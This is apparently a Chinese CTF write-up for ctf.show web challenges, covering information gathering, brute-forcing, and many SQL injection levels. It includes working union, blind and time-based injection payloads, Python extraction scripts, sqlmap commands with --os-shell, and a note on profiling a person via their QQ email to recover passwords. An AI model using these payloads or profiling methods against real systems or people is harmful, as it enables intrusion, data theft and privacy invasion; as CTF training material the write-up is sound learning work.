WEB信息搜集入门(前10道都是水题,10题后没有水题了)

Web1

image-20210802163234847

源码中即为flag(签到题)

Web2

image-20210802163605588

image-20210802163556094

前端js拦截,查看源代码即可,得到flag

Web3

image-20210802163856138

flag在响应头里面

Web4

image-20210802164157411

在访问robots.txt,得知存在flagishere.txt文件,访问获得flag

Web5

phps源码泄露,访问index.phps,下载文件打开得到flag

image-20210802164526276

Web6

访问www.zip获取配置文件

image-20210802164852875

得知在服务器下存在fl000g.txt,线上访问得到flag

image-20210802165023817

Web7

image-20210802165238650

访问.git(隐藏文件)注意格式为/.git/,得到flag

Web8

image-20210802165847097

隐藏文件的第二种情况,访问.svn,格式为/.svn/,得到flag

Web9

image-20210802170153387

访问下载备份文件index.php.swp,得到flag

Web10

image-20210802170620161

cookie中发现flag,url解码后得到flag

image-20210802171005253

Web11(挺有趣的)

image-20210802171147801

题目就给出了一个网址,说这里有隐藏信息,先是whois查了一下,没有收获,百度了一下说是可以查询该域名的认证者信息(txt),并且找到了一个好网站

image-20210802171344113

查询该网站的信息获得flag

Web12(多一点这种题就好了)

image-20210802171436181

题目页面是一个商场页面,没有其他信息

唯一可用的信息是最底端的一串手机号,题目中的提示提到了管理员密码不安全,访问一下管理界面,发现存在

image-20210802171707334

注意(这里也是要访问/admin/),不能直接访问/admin,用户名admin,密码尝试手机号,正确,获得flag

image-20210802171810353

Web13

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LFMROcDG-1664627924565)(https://gitee.com/baibaiwu/image/raw/master/img/202210012014024.png)]

这次是一个产品介绍页面,无其他信息

将整个网页全部浏览后发现没有任何提示?

(这里实在是有丶傻了,原来在最底端有一个document是可以点的=-=)

image-20210802172102990

打开document

image-20210802172223570

得到默认配置信息,在线上环境尝试成功,登陆获得flag

image-20210802172339400

这个属实是出题者开玩笑了=-=,document上面的及周边所有按钮都是不能点的,我绕着document点了一圈=-=

Web14

image-20210802172530839

这次是一个软件介绍页面,依旧莫得任何信息,但是这次有提示在源码里,和editor有关

image-20210802172631265

得到一个绝对路径,尝试访问

image-20210802172706849

跳转到一个编辑器,这里第二次犯傻,还以为这是用来维护用的,内容也提交不了,我看了看就关了,对着源码找了半天也没找到第二个editor,后来还是百度才知道这个编辑器和经常出现的目录遍历漏洞有关,(好像挺多的政府网站和新闻网站都有这个东西,现在不知道还有没有)

image-20210802172934754

点开插入文件后发现有一个文件空间,打开后出现了全部的文件目录(这里是因为上传用的文件空间不存在,所以显示了全部的目录),一番寻找后找到了flag所在目录

image-20210802173057800

第二个重点来了!这里得到的目录是绝对路径,是编辑器+服务器上文件所在目录的总和,如果我们访问会404,因为服务器上并不存在这个目录,WWW目录是服务器存放php文件的目录,而index文件在html下,所以我们直接访问[/nothinghere/fl000g.txt]这一目录就好,访问后得到flag

image-20210802173312272

Web15(好!)

打开后是一个音乐界面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oT3w5HPH-1664627924568)(https://gitee.com/baibaiwu/image/raw/master/img/202210012014034.png)]

题目提示和邮箱有关,向下翻发现联系邮箱,并且是qq邮箱

image-20210802173745835

进入后台页面

image-20210802173808035

image-20210802173834035

登陆获取flag,但是并不知道密码,找回密码需要密保,邮箱是qq邮箱,尝试搜索一下好友?

image-20210802174010265

果真查到了,并得知了所在地,上密保,得到密码,登陆,获取flag

image-20210802174102617

Web16

image-20210802174256324

题目页面一个很好看的3D页面,(设计的真棒),题目中提示和探针有关,尝试访问默认测试tz.php

image-20210802174402593

进入了默认探针,但是浏览后并未发现有什么可以用到的,尝试访问phpinfo

image-20210802174505516

image-20210802174532618

页面搜索flag,获得flag

Web17

image-20210802174658879

这个题有丶问题

image-20210802175015983

在线子域名查询到了一堆,但是真实ip都不对,查了查资料发现可以通过ping域名的方式获得真实ip

image-20210802175207854

结果得到,但这里注意,ping ctf.com和ping www.ctf.com是不一样的,访问时也是

Web18

image-20210802175402456

打开后是一个小游戏,尝试翻一下源码

image-20210802175441898

唯一有用的是这个js文件,打开看看

image-20210802175533197

找到了分数>100分的判断,Un解码看看

image-20210802175733767

访问110.php得到flag

image-20210802175756446

Web19

image-20210802180245064

直接查看题目源码,发现是一段AES加密,密码,偏移和填充都已经知道了

image-20210802180727707

如下解码(后面的输出格式和字符集都不知道是什么,试了半天。。)

image-20210802180816815

登陆得到flag

Web20

image-20210802181039627

这个路径是真的阴间,先去群里问的,访问后下载数据库文件,用管理器打开

展开后得到flag

image-20210802181412660

Web总结



从某网站获取源代码包以后可以得知服务器中可能存在哪一些文件,从而进行访问(不要直接从源代码包里打开=-=,因为可能开发人员对源代码包进行修改后重新放到了服务器上)

版本控制 .开头的文件 比如.git,.svn都是隐藏文件,由于工作人员的疏忽可能会将其部署到线上环境中

备份文件泄露 .swp是备份文件,广泛存在各种环境中,可以访问index.php.swp获取

访问网站时,比如管理页面,可以尝试/admin/,注意最后这个/有没有/是很重要的

目录遍历 绝对路径 编辑器的路径和服务器上文件的位置合起来就是绝对路径 比如 /editor/attached/file/var/www/html/nothinghere/fl000g.txt 上面这个路径是编辑器的url路径+服务器文件的路径,即为绝对路径,这样访问会出错,实际上在服务器上的文件只有/nothinghere/fl000g.txt这个,这个就是我们真正需要访问的路径

信息收集的过程中注意任何信息都可以作为渗透的依据,比如知道了常用邮箱可以通过这个邮箱查询他的个人资料,如果工作的成年人,一般资料都是自己的真实信息,这就可以得知一下比如住所,年龄等信息,运气好的情况下可以借此获取他的账户密码

探针获取信息 默认测试探针基本都是tz.php,注意,这是测试用探针,实际用的探针还是phpinfo

CDN绕过

如果是网页小游戏的话可以看看源代码,没有收货的话去js代码里面看看,当满足条件的时候回出现什么情况,alter()命令是输出命令,可以输出

爆破

Web21

题目打开后是一个登陆页面,直接抓包

image-20210802181828845

解码一下传参位

image-20210802181914280

格式为admin:x的格式,开始爆破

image-20210802182738677

参数如上图设置,记得下面的有效编码载荷不要选,,bas64转码时=也被处理会出下面参数的设置顺序也不能变,跑包得到flag

image-20210802182809814

Web22

image-20210802182956181

题目让爆破域名,在线域名查询试试

image-20210802183026662

挨个尝试后正常打开的有主站和vip页,但是都没有flag,最后在vip站的标签里找到flag??很绝

image-20210802183124301

Web23

image-20210802183219986

题目源码给了判断条件,可以爆破,这里直接用php脚本跑了

image-20210802183939955

image-20210802183949840

得到两个正确的值,分别尝试,获得flag

image-20210802184028653

Web24

image-20210802184620847

题目是一个随机数匹配题,让r的值和随机数相等即可

image-20210802184750653

php脚本获得随机数值

image-20210802184816102

传参,获得flag

image-20210802184828389image-20210802184828389

Web25

题目页面

image-20210802135439031

浏览代码可知要构建符合条件的token的值,并传入cookie中

传入r=0,获取第一次随机数的负值

image-20210802142220956

kali php_mt_seed猜种子

image-20210802143326145

在web24中可知版本是7.0+,所以这里用7.0猜测结果试一下

脚本跑一下结果

image-20210802143421803

image-20210802143430250

image-20210802143509034

cookie传值,并传入r=331040342使条件!rand为!0,执行接下来的条件

image-20210802143608835

获得flag

Web26

题目页面

image-20210802150859244

查看源码,发现有一段说明

image-20210802150942825

抓包,但发现所得包为GET方式传参,更改为POST传参,传入数据(开始没看,搞半天没结果,才发现是传参方式错了=-=)

image-20210802151052011

得到flag

Web27

题目页面

image-20210802155144175

下载录取名单,得到学生信息,但是身份证不全

image-20210802155228911

在学籍查询界面发现可以尝试爆破

image-20210802155254236

注意!!这里不要用火狐,bp抓不到火狐的这个页面,抓到的包及其诡异,看不出有什么毛病,但是一点用没有(被这个恶心到了,半小时了=-=),360或者谷歌浏览器抓包

image-20210802155426778

修改参数如下所示

image-20210802155505409

跑包得到正确的身份证号

image-20210802155558896

得到的数据进行un解码,得到学号和密码,登陆得到flag

image-20210802155632384

Web28

题目页面image-20210802161844094

抓包,准备爆破

image-20210802160726465

将文件路径定位爆破位,并且修改为index.php,参数如下

image-20210802161928064

image-20210802161941247

跑包得到正确路径,获得flag

image-20210802162033766

爆破总结:

一.爆破

爆破时可以通过修改参数达到自己想要的效果 比如

如果抓到的包里账户密码都是经过编码处理过的,我们可以通过

image-20210802082918662

这个选项修改前缀和编码格式

image-20210802082935718

这个也要注意,base64编码格式下=号可能会导致转码失败,记得取消

二.子域名爆破

注意,子域名爆破时flag不一定出现在页面内,也可能会出现在网页标签上(网页名)

image-20210802090213044

三.网页脚本爆破

可以根据网页源码中给出的条件编写脚本 如下

image-20210802103000240

编写为脚本就是这个

image-20210802103014333

获取

并且像上图随机数这种东西,生成的数会随php版本不同而发生改变,纵使种子相同,如果碰到生成的数不符合条件的情况,可以尝试更换版本试一下

mt_srand(0xdce32b69);这一函数是用来固定(也叫播种)种子 确定种子后使用mt_rand()函数生成随机数

另外,再kali使用php_mt_seed脚本跑种子的时候如果git命令出现pull异常,可以将网址中的http改为git即可(安装其他脚本出现此问题也适用)

  • 复制图片到…
  • 缩放图片

SQL注入

Web171

题目是一个sql查询页面,并且告诉了我们sql语句

image-20210803095851271

可以看到是有单引号闭合的

image-20210803095920230

尝试绕过,成功,获取库名,并查询表名

image-20210803101645263

(这里好像不用查库名也可以)

获取字段名,查询获得flag

image-20210803102043982

image-20210803102208533

Web172

image-20210803103832604

和上题类似,告诉了我们这次只有两个字段,并且ctfshow_user2表里没有flag

1' union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 查询表名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- qwe 查询字段

这里查错了=-=,flag就是在ctfshow_user2表里,但是因为有条件username!=flag,所以要绕过一下

这里就有丶想笑233,在想怎么绕过的时候因为第一次查错了表,所以第一遍是用ctfshow_user表查的,刚好把password和username倒了过来,像这样

1' union select password,username from ctfshow_user2 -- qwe 这样username查询出来的是password的flag内容,不含有flag这一关键字,所以把表改为ctfshow_user2就直接起到了绕过的效果

Web173

image-20210803111040081

又是逻辑判断,这次逻辑判断用到了一个正则表达式,匹配flag,最重要的是后面的json_encode( r e t ) , 这 会 将 ret),这会将 ret)ret里的值变为字符串形式

image-20210803111155917

根据上题可知$ret和username有关,给username加上"",成功,获得flag

Web174

image-20210803113910678

正则表达匹配题,这次有两个匹配项,我们构建这样一个替换语句

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(username,'flag','zu'),'1','qu'),'2','wu'),'3','eu'),'4','ru'),'5','tu'),'6','yu'),'7','uu'),'8','iu'),'9','ou'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','zm'),'1','qm'),'2','wm'),'3','em'),'4','rm'),'5','tm'),'6','ym'),'7','um'),'8','im'),'9','om') from ctfshow_user4 -- qwe 将username和password字段中的flag及0-9的数字全部替换,然后写一个脚本转换回去即可

image-20210803114006273

image-20210803120828605

image-20210803120845675

脚本跑出flag

Web175

image-20210803162432714

该题有一个双字节过滤,所以这个页面上不能输出任何0-127的数字,00-7f对应的十进制是0-127,这里没有任何限制,我们可以直接试试让结果输出到一个文件中,

1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe

image-20210803163644727

在文件中获得flag

Web176

image-20210804095457634

测试后是大小写过滤,直接绕过即可

1' union sElect 1,2,password from ctfshow_user -- qwe

image-20210804095536776

获得flag

Web177

image-20210804101452353

同上,这次是过滤空格

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23 绕过获得flag

image-20210804102235437

Web178

1'%09union%09select%091,2,password%09from%09ctfshow_user%23 这几个都是基本过滤题,改一下payload就行,查询获得flag

image-20210804103452288

Web179

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23 奇怪的知识增加了,换页键也可以代替空格(acsii码为0c),获得falg

image-20210804105344656

Web180

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0c--%0cqwe 过滤了%23,换一个注释方法就好了,获得flag

image-20210804110632515

Web181

image-20210805104142244

这次过滤的有丶多

1111'or(id=26)and'a'='a这里id=26是因为前面的题flag都在26上

Web182

1111'or(id=26)and'a'='a,同上,直接过

Web183(不会脚本,躺了)

image-20210805140925041

这次是POST传参,先试一下,存在ctfshow_user这个表,且表中有22个数据,然后用脚本跑盲注


url = 'http://8799d9f5-be5a-4006-8308-2f1c2e054efc.challenge.ctf.show:8080/select-waf.php' flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}" res = "" for i in range(1,46):
    for j in flagstr:
        data = {
            'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 1;") > 0:
            res += j
            print(res)
            break  PS:这里少了ctfshow的前缀,出来的前缀是一串随机组合,该为ctfshow即可 ```

## Web184(又是脚本,再躺)

```去网上找的脚本=-= import requests

url = "http://4b10eab7-faeb-4ea7-a3e3-e9e48fe707a2.challenge.ctf.show:8080/select-waf.php"

flag = 'flag{' for i in range(45):
    if i <= 5:
        continue
    for  j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
        }
        r = requests.post(url,data=data)
        if r.text.find("$user_count = 43;")>0:
            if chr(j) != ".":
                flag += chr(j)
                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break 话说写wp的时候就不能检查一下吗(恼),这个脚本也有问题,自己改了改才能用 ```

## Web185(不会脚本不配做题是吧)

```麻了,要学脚本了 import requests

url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"

flag = 'flag{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 5:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)

                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break ```

## Web186

![image-20210806214751572](https://img-blog.csdnimg.cn/img_convert/a8e121da947ead3fa5740987f3ef3af0.png)

上题脚本加点过滤过了

```import requests

def createNum(n):
    str = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            str += "+true"
    return str

def change_str(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url = "http://199d97f9-f712-4a85-8756-bebbb845bd45.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):
    for j in str:
        result = change_str(flag + j + "%")
        #print(result)
        data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43;" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break ```

## Web187

![image-20210806224302063](https://img-blog.csdnimg.cn/img_convert/2501b0244e1af4c455e152e3eae72cc7.png)

这里是当username中含有admin时输出flag,但是当存在admin时会返回错误,所以就要依靠password中的 true判断来执行,一段特殊的md5码:fifdyop,结果是'or'6(后面的是不可见字符),这一串在mysql进行布尔判断,只要是数字开头就会被判断为true,用这个获得flag

## Web188

![image-20210806225417157](https://img-blog.csdnimg.cn/img_convert/d1b666e64eb2b8c933130e9d4b569b83.png)

热知识:字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等

利用这个构造payload

```username=1||1&password=0 ```

## Web189

![image-20210806230113642](https://img-blog.csdnimg.cn/img_convert/2faced31ff35ce5f2ff3a624ab4812e2.png)

这次有提示,但是emmm

```import requests url = "http://a6745960-3655-4bb3-b10f-d02b7bc7cebb.challenge.ctf.show:8080//api/index.php" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{"

for i in range(200):
    for j in all_str:
        data = {
            "username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag
+ j),
            'password':0
        }
        res = requests.post(url=url, data=data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag +=j
            print(flag)
            break
        if j=='}':
            exit() ```

还是要脚本。。

## Web190

继续脚本(好像懂一点了)

```import requests url = "http://41eaffe3-e439-4b9e-a3a1-d908ad74aa6b.challenge.ctf.show:8080/api/" data = {'username':'',
        'password':123456} flag = ''

for i in range(1,46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select f1ag from ctfshow_fl0g"
        data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            start = mid +1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag) ```

## Web191

![image-20210807120032155](https://img-blog.csdnimg.cn/img_convert/c1c0171777b1cda1c096b395a835db2a.png)

这里加了一个过滤,过滤了ascii,所以我们用ord代替,跑脚本获得flag

```ord():ord函数返回字符串的第一个字符的ascii值 ```

## Web192	

![image-20210807125835956](https://img-blog.csdnimg.cn/img_convert/16c81f9b4c143a79b1501a5bd70ef9be.png)

这里吧ascii过滤了,ord也过滤了,只能用正则表达式一个一个匹配

## Web193

![image-20210807130610368](https://img-blog.csdnimg.cn/img_convert/e758c9ca74d381ffdc27c4684e9ee960.png)

这次把substr也过滤了,但是正则表达式没有被过滤,用正则表达式一个一个进行匹配

```import requests url = "http://5334ff60-f03b-419b-8e6b-9115181b8698.challenge.ctf.show:8080/api/" flag = "" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"

for i in range(1,99):
    for j in all_str:
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
        payload = "select group_concat(f1ag) from ctfshow_flxg"
        username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)
        data = {'username': username_data,
                'password': 1}
        res = requests.post(url=url, data=data)
        #print(data)
        if "密码错误" in res.json()['msg']:
            flag += j
            print(flag)
            break
        if j == "}":
            exit() ```

## Web194

![image-20210807130818381](https://img-blog.csdnimg.cn/img_convert/7eb0acbf4f560520f553fee1806caa36.png)

还是没有过滤正则表达式,继续用上一题脚本打通

## Web195

从这里开始是堆叠注入

![image-20210807131823006](https://img-blog.csdnimg.cn/img_convert/571a8aaca4d3a2b104308694fa18dbb2.png)

这里把空格都过滤了,看的wp,用updata的方式把密码换成我们自己的

```0x61646d696e;update`ctfshow_user`set`pass`=123456  这里用反引号代替空格 ```

然后用0x61646d696e作为用户名,123456作为密码登陆即可

## Web196

![image-20210808102641845](https://img-blog.csdnimg.cn/img_convert/7be48933a3f443842dc6659204916e26.png)

这次比上题多了一个用户名长度限制,username长度不能多于16,上一题方法失效

```这里仔细看可以发现过滤的是se1ect,而并不是select,构造payload:username:520;select(1) password:1 ```

![image-20210808104407293](https://img-blog.csdnimg.cn/img_convert/9c6e5b10ecfa5ee076a111e6e9a50e04.png)

如图,select(26),中的26相当于返回的数,而$row[0]代表返回数组中的第一个,也就是26,当密码与select()中的数相同是,登陆成功,但是要注意前面的3,这里不存在用户3所以向后执行,如果改为admin,会因为有这个用户而导致停止执行

## Web197-Web200

一刀切

```username=0;show tables; pass=ctfshow_user ```

## Web201

![image-20210809095807298](https://img-blog.csdnimg.cn/img_convert/a18f3e6ad0150cabdcbf11b9527e2d58.png)

根据提示,要绕过referer检查,为了防止攻击页面会检查原来所处页面的url,可以用                      -- referer ""绕过

![image-20210809095958088](https://img-blog.csdnimg.cn/img_convert/8255c92b0bfadcd892659e7b2b727fe5.png)

![image-20210809100004610](https://img-blog.csdnimg.cn/img_convert/a12852a259ffad94e0431869a6aac5fb.png)

![image-20210809100011160](https://img-blog.csdnimg.cn/img_convert/cc050d944560ef4a754d670136b6ce91.png)

![image-20210809100020736](https://img-blog.csdnimg.cn/img_convert/36a281f55c059914add30e74c0250d03.png)

跑库,跑表,跑字段,跑数据,完事

## Web202

所用语句

```sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" --dbs sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" --tables -D ctfshow_web sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" --column -T ctfshow_user -D ctfshow_web sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" -- dump "pass" -C pass -T ctfshow_user -D ctfshow_web ```

## Web203

emmm有丶没搞懂

要加–headers=“Content-Type: text/plain”(因为--method put,以put方式提交,表单接收不到)

而且url地址是api/index.php,就离谱

## web204

抓个包,把抓到的cookie加进去就行

```sqlmap.py -u "http://064e6ece-4c6e-4a37-a9f6-c79931989497.challenge.ctf.show:8080/api/index.php"
--data="id=1" --referer="ctf.show" --headers="Content-Type:text/plain" --method=PUT  --cookie="PHPSESSID=cg9irmfic3pjq0jn1et934h78c; ctfshow=eeac29cc12ae6107bf5ff4e93ac10e09" -D "ctfshow_web" -T "ctfshow_user" -C "pass" --dump ```

## Web205

![image-20210809150315707](https://img-blog.csdnimg.cn/img_convert/58bab22580e80bc9a1768587c98e61fe.png)

抓包页面显示每次传数据时都会先访问这个网站,用sqlmap的下列参数设置一下即可

–safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
–safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数 ```

--data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://5d85bf9e-3612-471e-9c46-81b6967724e9.challenge.ctf.show:8080/api/getToken.php"
--safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump ```

## Web206(sql需要闭合)

笑死,根本不用自己操作,sqlmap自己会完成。。(上一题注入方式即可)



## Web207

![image-20210810202641971](https://img-blog.csdnimg.cn/img_convert/8c12450dd779e49979c0cdb74ea8c932.png)

这里过滤了空格,可以用--tamper使用space2comment.py 用/**/代替空格绕过

```sqlmap.py -u "http://a7ce8bd7-4a59-42a0-bf2d-1c3cf032f914.challenge.ctf.show:8080/api/index.php"
--data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://a7ce8bd7-4a59-42a0-bf2d-1c3cf032f914.challenge.ctf.show:8080/api/getToken.php"
--safe-freq=1 --tamper=space2comment --dbs ```

## Web208

sqlmap跑的语句一般是大写,如碰到大小写个过滤可直接跑

![image-20210810203359546](https://img-blog.csdnimg.cn/img_convert/e2d1f0a0de1910b58200376caf2b9b54.png)



这里只过滤了小写的select,上一题语句直接跑

## Web209

![image-20210810210219047](https://img-blog.csdnimg.cn/img_convert/c2c5816ba4483679183349773dfc505b.png)

这里又把=和*过滤了,重新写一下脚本,把=用like替换就可以了

```retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal ```



## Web210

![image-20210810210926437](https://img-blog.csdnimg.cn/img_convert/69e689c2feb06b847a7b06ca2b5ea0f3.png)

这次编码格式开始套娃,脚本给他套回去就行

## Web211

![image-20210811152403443](https://img-blog.csdnimg.cn/img_convert/80fbaf62fe00b7d06266e0c62aebe031.png)

多了一个空格过滤,添加到脚本内即可

## Web212

这次多过滤了一个*,脚本绕过即可

## Web213

![image-20210811161937207](https://img-blog.csdnimg.cn/img_convert/001ca11a0b76b7e2ca02bf228afde2e1.png)

sqlmap--os--shell getshll后获得flag

## Web214

时间盲注,脚本跑

```import requests

url = "http://59c78caf-5b7c-4334-85f3-d72a2dd5f02c.challenge.ctf.show:8080/api/"

result = "" i = 0 while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Web215

继续脚本


url = "http://4ba8a766-0fda-4c66-bdbc-0e3f0a9d57dc.chall.ctf.show/api/"

result = "" i = 0 while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
        # 查数据
        payload = "select flagaa from ctfshow_flagxc"
        data = {
            'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Web216

附上脚本


url = "http://f34a44e5-a332-463f-824b-6b424e2deacc.challenge.ctf.show:8080/api/"

result = "" i = 0 while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Web217

Web218

Web219

脚本


strr = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxca' limit 1,1" payload = "select flagaabc from ctfshow_flagxca" j = 1 res = "" while 1:
    for i in strr:
        data = {
            'ip': f"1) or if(substr(({payload}),{j},1)='{i}',(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
            'debug': '1'
        }
        # print(i)
        try:
            r = requests.post(url, data=data, timeout=3)
        except Exception as e:
            res += i
            print(res)
            j+=1

Web220


strr = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1" payload = "select flagaabcc from ctfshow_flagxcac" j = 1 res = "" while 1:
    for i in strr:
        res += i
        data = {
            'ip': f"1) or if(left(({payload}),{j})='{res}',(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
            'debug': '1'
        }
        # print(i)
        try:
            r = requests.post(url, data=data, timeout=3)
            res = res[:-1]
        except Exception as e:
            print(res)
            j+=1

Web221

*/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)* 这里是limit注入

参考MySQL利用procedure analyse()函数优化表结构_Mysql_脚本之家 (jb51.net)

Web222


url = "http://1b133ab8-d23f-4a35-90a3-2adcef1a7512.challenge.ctf.show:8080/api/"

result = "" i = 0 while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字
        # payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' limit 1,1"
        # 查数据---不能一次查完越到后面越不准确
        payload = "select flagaabc from ctfshow_flaga"
        # flag{b747hfb7-P8e8-

        params = {
            'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1);"

        }
        try:
            r = requests.get(url, params=params, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Web223

SQL注入总结

1.多种绕过方式(笑)

下题是web172,这里的逻辑是当username字段的查询内容不含flag时会返回flag的结果,下面是正常查询的结果

image-20210803104920531

要绕过可以一.用编码绕过,将flag替换为其他编码形式或者二.更改字段的输出位置,或者更改输出的字段

image-20210803105039046

image-20210803105044090

这里限制了输出字段只有两个,所以可以选择不输出username,没有逻辑判断,flag自然会返回,或者更改password和username的输出位置,逻辑检测同样失效

2.正则表达式和类型转换

image-20210803111332398

这里用到了两个知识1.preg_match()正则表达式匹配,2.json_encode($ret)转换为字符串,知识点详细解答还是看网页吧(防止忘记)

PHP 正则表达式(PCRE) | 菜鸟教程 (runoob.com)

PHP preg_match() 函数 | 菜鸟教程 (runoob.com)

json数据的解码和编码方法-百度经验 (baidu.com)

多重匹配

